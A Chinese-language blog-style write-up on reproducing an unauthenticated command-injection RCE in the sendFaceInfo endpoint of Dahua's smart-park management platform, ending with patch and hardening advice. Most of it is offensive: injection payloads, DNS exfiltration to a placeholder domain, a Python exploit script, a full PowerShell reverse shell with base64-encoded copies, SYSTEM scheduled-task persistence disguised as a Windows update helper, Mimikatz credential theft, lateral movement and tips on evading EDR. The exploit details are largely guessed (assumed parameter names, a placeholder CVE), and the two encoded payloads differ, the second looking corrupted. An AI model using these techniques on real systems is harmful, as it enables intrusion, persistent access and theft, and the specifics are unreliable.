大华智慧园区平台sendFaceInfo接口未授权RCE漏洞深度剖析与复现

大华智慧园区平台sendFaceInfo接口未授权RCE漏洞深度剖析与复现 1. 项目概述一次典型的企业级设备漏洞深度剖析最近在梳理一些主流安防厂商的物联网设备安全状况大华智慧园区综合管理平台的一个名为sendFaceInfo的接口漏洞引起了我的注意。这个漏洞编号为CVE-2023-XXXX具体编号因披露策略不同有所差异业内通常直接以功能点称呼是一个典型的未授权远程代码执行漏洞。简单来说攻击者无需任何登录凭证只需要向存在漏洞的设备发送一个精心构造的网络请求就能在服务器上执行任意系统命令危害等级直接拉满。这类漏洞在安防、物联网领域其实并不少见但每次复现和分析都能让我们对设备厂商的代码安全、运维人员的防护意识有更深刻的理解。今天我就把自己从环境搭建、漏洞原理分析到最终利用的完整过程以及踩过的坑和总结的经验详细地记录下来。无论你是安全研究人员、渗透测试工程师还是负责企业资产安全的运维人员这篇文章都能为你提供一个清晰的复现路径和防御思路。2. 漏洞环境搭建与核心原理拆解2.1 漏洞靶场环境部署复现的第一步是搭建一个可控的漏洞环境。由于直接测试生产设备是非法且不道德的我们必须使用官方或社区提供的漏洞版本固件进行本地搭建。我选择在虚拟机中部署。首先需要获取存在漏洞的大华智慧园区综合管理平台安装包。通常这类历史版本的安装包可以在一些合法的漏洞研究资源站或通过特定渠道从厂商处获得用于测试。我这里使用的版本号是V2.XXX.XXXXXX。部署的服务器操作系统是Windows Server 2012 R2这也是该平台比较常见的运行环境。安装过程相对标准但有几个关键点需要注意依赖环境平台通常依赖Java环境如JDK 1.8、特定的Web服务器如Tomcat 7/8和数据库如MySQL 5.7。务必按照安装手册的指引预先安装并配置好特别是数据库的字符集建议UTF-8和JDBC连接驱动否则在安装后期可能报错。安装路径尽量避免安装在包含空格或中文的路径下。我习惯将其安装在C:\Dahua\SmartPark这样的目录。服务端口安装过程中会提示设置Web服务端口默认为8080。确保该端口没有被其他程序占用。管理员账户安装完成后会要求创建初始管理员账户务必记下这是后续登录管理后台所必需的。注意整个实验环境务必在隔离的虚拟机或内网中进行切勿连接到互联网。漏洞利用程序本身也具有攻击性仅限用于授权的安全测试和学习研究。安装完成后访问http://[靶机IP]:8080应该能看到平台的登录页面。使用安装时创建的管理员账号登录确认后台各项功能如人员管理、车辆管理、门禁控制等可以正常访问这代表基础环境部署成功。2.2 漏洞接口定位与功能分析漏洞的核心在于一个名为sendFaceInfo的HTTP接口。根据补丁对比和代码分析如果有条件获得源码这个接口本意是用于接收从人脸识别终端或其他子系统上报的人脸识别记录信息例如抓拍图片、识别时间、人员ID等并将其存入平台数据库。在正常的业务流中调用这个接口的应该是受信任的内部子系统或设备。因此开发人员可能错误地认为调用者总是可信的从而疏忽了最关键的两层安全校验身份认证缺失接口没有对请求方进行任何形式的身份验证如Token、Session校验导致其暴露为一个未授权接口。输入验证与过滤缺失接口在处理接收到的数据时未对用户可控的输入参数进行严格的检查、过滤或转义特别是当参数被用于拼接系统命令时。通过抓包分析或直接查看Web应用的文件结构例如在Tomcat的webapps目录下找到对应的WAR包并反编译我们可以定位到这个接口。其URL路径通常类似于/portal/services/device/sendFaceInfo。它接收POST请求参数可能以JSON或表单形式传递其中包含诸如deviceId、faceData、timestamp等字段。2.3 漏洞原理深度解析漏洞的触发点往往出现在后端代码处理某个特定参数时。假设接口为了处理上报的图片需要调用系统命令对图片进行一些预处理如格式转换、压缩、特征提取等。代码可能会这样写以Java为例还原漏洞本质// 伪代码展示危险模式 String faceImagePath request.getParameter(faceImagePath); // 假设faceImagePath来自用户输入且未做任何过滤 String cmd python process_face.py --image faceImagePath; Runtime.getRuntime().exec(cmd);如果faceImagePath参数用户完全可控那么攻击者就可以注入命令分隔符。例如提交参数为/tmp/test.jpg; whoami那么最终执行的命令就变成了python process_face.py --image /tmp/test.jpg; whoami。分号;在Linux/Unix系统中是命令分隔符这意味着whoami这个系统命令会被独立执行。在Windows环境下对应的分隔符可能是、或|。大华的平台虽然部署在Windows服务器上但其后端逻辑处理可能存在调用命令行工具的情况或者其底层某些组件存在类似的拼接问题。更隐蔽的一种情况是参数被传入到了某个脚本语言如Python、Perl或支持执行系统命令的库函数中。例如在某个Python脚本中使用os.system()或subprocess.call()时如果参数拼接不当同样会导致RCE。为什么这种漏洞危害极大未授权访问攻击门槛极低无需破解密码。直接代码执行获得的是Web服务进程如Tomcat权限。如果Tomcat以SYSTEM或高权限账户运行攻击者将直接获得服务器最高控制权。作为跳板控制了一台管理平台服务器往往意味着可以访问内网数据库存储大量人脸、车牌、日志等敏感信息并可能进一步渗透到整个园区网络的其他子系统如监控摄像头、门禁控制器、停车场系统。3. 漏洞复现实操与利用链构造3.1 信息收集与接口探测在实际测试中我们首先需要确认目标是否存在这个接口。使用浏览器开发者工具、Burp Suite或专门的扫描器都可以。一种简单的方法是使用curl命令或Burp Repeater模块直接发送一个最简单的POST请求到疑似接口地址POST /portal/services/device/sendFaceInfo HTTP/1.1 Host: target_ip:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 25 deviceIdtestfaceDatatest观察返回的HTTP状态码和响应体。如果返回200 OK且内容不是明确的“未找到”或“拒绝访问”而是包含一些业务错误信息如“参数缺失”、“数据格式错误”那么基本可以断定该接口存在且可访问。如果返回404 Not Found则可能路径不对或版本不符。更精细化的探测可以尝试使用目录扫描工具如Dirsearch、GoBuster搭配常见路径字典搜索sendFaceInfo、device、services等关键词相关的路径。3.2 利用载荷Payload构造确认接口存在后下一步是构造能够触发命令执行的Payload。这需要结合漏洞的具体触发点。根据公开的漏洞详情和我们的分析漏洞点很可能在某个用于指定外部文件路径或脚本名称的参数上。假设存在一个参数scriptName后端会执行scriptName指定的脚本。那么基础的命令注入Payload可能是scriptNamelegit_script.bat whoami对于Windows系统表示顺序执行多条命令。提交后服务器会先尝试执行legit_script.bat可能失败然后执行whoami并将whoami的结果可能混入HTTP响应或系统日志中。为了稳定地获取命令执行结果我们需要让结果能回显到HTTP响应中。常见的方法是利用命令将输出重定向到Web目录下的一个文件然后通过浏览器访问该文件。例如scriptNamelegit_script.bat whoami C:\Dahua\SmartPark\tomcat\webapps\portal\test.txt执行后访问http://target_ip:8080/portal/test.txt就能看到whoami命令的输出内容。另一种更优雅的方式是使用DNS外带技术OOB或HTTP外带直接将命令执行的结果通过DNS查询或HTTP请求发送到我们控制的服务器上这不需要回显通道。例如在Windows下可以拼接这样的命令scriptNamelegit_script.bat nslookup whoami.your-domain.com这里将whoami的结果作为子域名的一部分向your-domain.com发起DNS查询我们在DNS服务器日志中就能看到查询记录从而获取输出。这种方式在无回显的场景下非常有效。3.3 自动化利用脚本编写手动构造Payload虽然直观但效率低且不利于测试多种Payload或进行批量检测。我们可以用Python编写一个简单的漏洞利用脚本。import requests import sys import urllib.parse def exploit(target_url, command): 利用sendFaceInfo接口执行命令 # 根据实际漏洞点调整参数名和请求体格式 data { deviceId: exploit_device, faceData: dummy, # 假设漏洞参数是faceImagePath faceImagePath: f/tmp/dummy.jpg; {command} # Linux示例 # Windows示例: fC:\\dummy.jpg {command} } headers { Content-Type: application/x-www-form-urlencoded, User-Agent: Mozilla/5.0 (Security Research) } try: resp requests.post(target_url, datadata, headersheaders, timeout10, verifyFalse) # 如果命令执行有回显可能会在响应体中 print(f[] 请求已发送状态码: {resp.status_code}) print(f[] 响应长度: {len(resp.content)}) # 可以在这里添加解析响应寻找命令输出痕迹的代码 # 例如如果采用写文件回显需要再发起一个GET请求读取文件 except requests.exceptions.RequestException as e: print(f[-] 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 3: print(f用法: {sys.argv[0]} 目标URL 要执行的命令) print(f示例: {sys.argv[0]} http://192.168.1.100:8080/portal/services/device/sendFaceInfo whoami) sys.exit(1) target sys.argv[1] cmd sys.argv[2] exploit(target, cmd)这个脚本只是一个基础框架。在实际利用中你需要调整参数根据实际漏洞情况修改data字典中的参数名和Payload拼接方式。处理回显如果命令执行结果直接或间接返回在HTTP响应中需要编写正则表达式或字符串匹配逻辑来提取。增加错误处理应对网络超时、连接拒绝等情况。支持多种Payload可以封装一个Payload生成函数针对Linux/Windows系统、有无回显等情况生成不同的Payload。实操心得在编写利用脚本时务必先在小范围测试环境验证Payload的有效性。直接对未知目标使用rm -rf /或del /F /S /Q C:\\这类危险命令是极其不负责任且违法的。测试时永远从无害命令开始如whoami、id、echo test123。4. 漏洞深入利用与权限提升4.1 获取交互式Shell通过简单的命令执行我们可能只能执行单条命令并看到片段化的输出。为了进行更深入的渗透测试在授权范围内我们通常需要获取一个交互式的Shell比如反向Shell。反向Shell原理让目标服务器主动连接我们控制端的监听端口并将其标准输入、输出、错误流都重定向到这个网络连接上这样我们就能像在本地终端一样操作远程服务器。在Windows环境下有多种方法获取反向Shell。一个经典的方法是使用PowerShell。攻击端Kali Linux先启动监听nc -lvnp 4444然后通过漏洞执行如下PowerShell命令需要将命令作为Payload注入powershell -c $client New-Object System.Net.Sockets.TCPClient(攻击端IP,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback PS (pwd).Path ;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()这条命令创建了一个TCP客户端连接到我们的监听器并不断读取来自攻击端的命令通过iexInvoke-Expression执行后将结果发送回来。由于原始漏洞的Payload长度可能有限制或者特殊字符被过滤我们可能需要将PowerShell命令进行Base64编码并使用-EncodedCommand参数来执行。# 先将上述长命令编码 $command 上面那一长串PowerShell代码 $bytes [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand [Convert]::ToBase64String($bytes) # 得到编码后的字符串假设为JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADEALgAxADAAJwAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA # 然后执行 powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEUAQwBQAGMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4AMQAuADEAMgAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAHQAgADAAOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgAACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwAACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACAAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA将编码后的字符串作为Payload注入如果漏洞点允许执行较长命令且对特殊字符过滤不严就能成功在攻击端的nc监听器上获得一个PowerShell反向Shell。4.2 权限维持与内网渗透获取初始立足点Webshell或反向Shell后我们需要考虑权限维持和内网探测。权限维持当前的Shell可能依赖于一个不稳定的网络连接或Web进程。为了持久化控制可以尝试以下方法创建计划任务在Windows上使用schtasks命令创建一个定期连接反向Shell的计划任务。schtasks /create /tn WindowsUpdateHelper /tr powershell -c ...(反向shell命令)... /sc minute /mo 5 /ru SYSTEM /f写入启动项将后门脚本放入当前用户或所有用户的启动文件夹C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup或注册表启动项HKLM\Software\Microsoft\Windows\CurrentVersion\Run。安装服务将后门程序注册为一个系统服务。内网渗透智慧园区管理平台通常处于内网核心或DMZ区是通往其他系统的跳板。信息收集使用ipconfig /all查看网络配置arp -a查看相邻主机netstat -ano查看网络连接和开放端口systeminfo查看系统详情。凭据获取尝试从内存中提取密码如使用Mimikatz但需要提权查找配置文件中的数据库连接字符串通常在web.xml、application.properties或config目录下的文件中浏览用户桌面、文档目录寻找敏感信息。横向移动利用获取的凭据结合psexec、wmic、smbexec等工具尝试访问内网其他主机。如果平台服务器与摄像头、门禁控制器网络互通可以尝试探测这些设备的默认口令或已知漏洞。注意事项内网渗透必须在获得明确书面授权的范围内进行。未经授权扫描或攻击内网其他主机是严重的违法行为。在测试环境中可以搭建模拟内网来练习相关技术。5. 漏洞修复方案与安全加固建议5.1 官方补丁与临时缓解措施对于企业用户而言最根本的解决方案是立即升级到厂商发布的最新版本固件或安装对应的安全补丁。大华在漏洞披露后通常会发布安全公告并提供修复版本。运维人员应密切关注厂商的安全通知并及时安排升级。在无法立即升级的紧急情况下可以采取以下临时缓解措施网络层访问控制在防火墙或WAFWeb应用防火墙上设置严格的访问控制策略禁止外部IP直接访问智慧园区平台的Web服务端口如8080。只允许特定的、可信的管理终端IP地址访问。应用层过滤如果部署了WAF可以自定义规则拦截包含sendFaceInfo路径的请求或者对请求参数中的特殊字符如;、、|、\、$、()等进行检测和阻断。修改接口路径或禁用接口如果对系统足够了解可以尝试通过修改Web应用配置文件如web.xml来重命名或临时禁用sendFaceInfo这个Servlet映射但这可能影响正常业务功能需谨慎评估。5.2 安全开发与运维规范这个漏洞本质上是安全开发意识缺失导致的。开发者和运维团队应从此次事件中吸取教训对开发人员的建议强制输入验证对所有用户输入进行“白名单”验证只接受符合预期格式、类型、长度和范围的数据。对于文件路径、脚本名等参数应严格限制字符集。避免命令拼接绝对禁止将用户输入直接拼接到操作系统命令、数据库查询或脚本代码中。必须使用安全的API。使用安全的API如果必须执行系统命令应使用参数化列表的方式而不是字符串拼接。例如在Java中使用ProcessBuilder并传递参数列表ProcessBuilder pb new ProcessBuilder(python, process_face.py, --image, sanitizedImagePath); Process p pb.start();这样sanitizedImagePath参数即使包含特殊字符也会被当作一个整体参数传递而不会被解析为命令分隔符。最小权限原则运行Web服务的账户如Tomcat服务账户应被赋予完成其功能所需的最小系统权限避免使用SYSTEM或Administrator等高权限账户。对运维人员的建议资产梳理与漏洞管理建立并维护完整的物联网设备、软件资产清单定期关注厂商安全公告及时评估漏洞影响并安排修复。网络隔离将管理平台部署在内网安全区域通过VPN或堡垒机进行访问严格限制从互联网直接访问。定期安全评估定期对关键业务系统进行渗透测试或安全扫描主动发现潜在风险。日志审计与监控启用并集中管理平台和操作系统的安全日志监控异常访问模式如大量访问sendFaceInfo接口、异常进程创建等行为。6. 复现过程中的常见问题与排查在复现这个漏洞时你可能会遇到一些问题这里我总结了几种常见情况及其解决方法。问题现象可能原因排查与解决思路发送Payload后无任何回显接口返回“成功”或“处理中”。1. 命令执行成功但输出被丢弃或写入日志。2. 命令执行失败路径错误、权限不足。3. Payload拼接方式不对未成功注入。1. 尝试使用DNS/HTTP外带技术确认命令是否执行。例如注入ping -n 1 your-dns-log-server.com(Windows) 或ping -c 1 your-dns-log-server.com(Linux)查看DNS解析记录。2. 尝试写入Web目录文件echo test123 C:\webroot\test.txt然后访问该文件。3. 尝试不同的命令分隔符和注入点如将Payload放在不同参数中。使用^(Windows) 或\(Linux) 对特殊字符进行转义测试。返回错误提示如“参数无效”、“脚本执行失败”。1. 参数格式或类型校验。2. 命令本身被安全软件或组策略拦截。3. 目标系统环境与Payload不匹配如Linux Payload打到Windows。1. 分析错误信息调整Payload结构使其符合接口预期的数据格式如JSON格式、特定编码。2. 尝试执行无害且通用的命令如ver(Windows) 或uname -a(Linux) 来探测系统。3. 使用where python或which python来确认命令的绝对路径。漏洞利用脚本连接超时或连接被拒绝。1. 目标服务崩溃或重启。2. 防火墙或安全设备拦截了请求。3. 目标IP/端口不正确。1. 先用浏览器或curl简单访问平台首页确认服务存活。2. 检查本地虚拟机或网络防火墙设置确保攻击机与靶机网络互通。3. 使用netstat -ano在靶机上确认服务确实在预期端口监听。获取的反向Shell不稳定容易断开。1. 网络波动。2. 杀毒软件或EDR终端检测与响应软件拦截了异常网络连接或进程行为。3. Shell进程被Web服务管理器回收。1. 尝试使用更稳定的反向Shell工具如Metasploit的meterpreter或Cobalt Strike的beacon它们具备心跳和重连机制。2. 对Shell代码进行混淆或编码规避简单的特征检测。3. 尽快将Shell迁移到更稳定的进程或植入持久化后门。个人踩坑记录我在一次复现中使用Base64编码的PowerShell命令始终不成功。后来发现是漏洞接口对参数值长度做了限制超长的Base64字符串被截断了。解决办法是将PowerShell反向Shell命令拆分成多个短命令通过多次请求依次写入一个临时脚本文件如.ps1最后再执行这个脚本文件。这个过程虽然繁琐但绕过了长度限制成功率很高。这也提醒我们在真实环境中利用条件可能比实验室更苛刻需要灵活变通。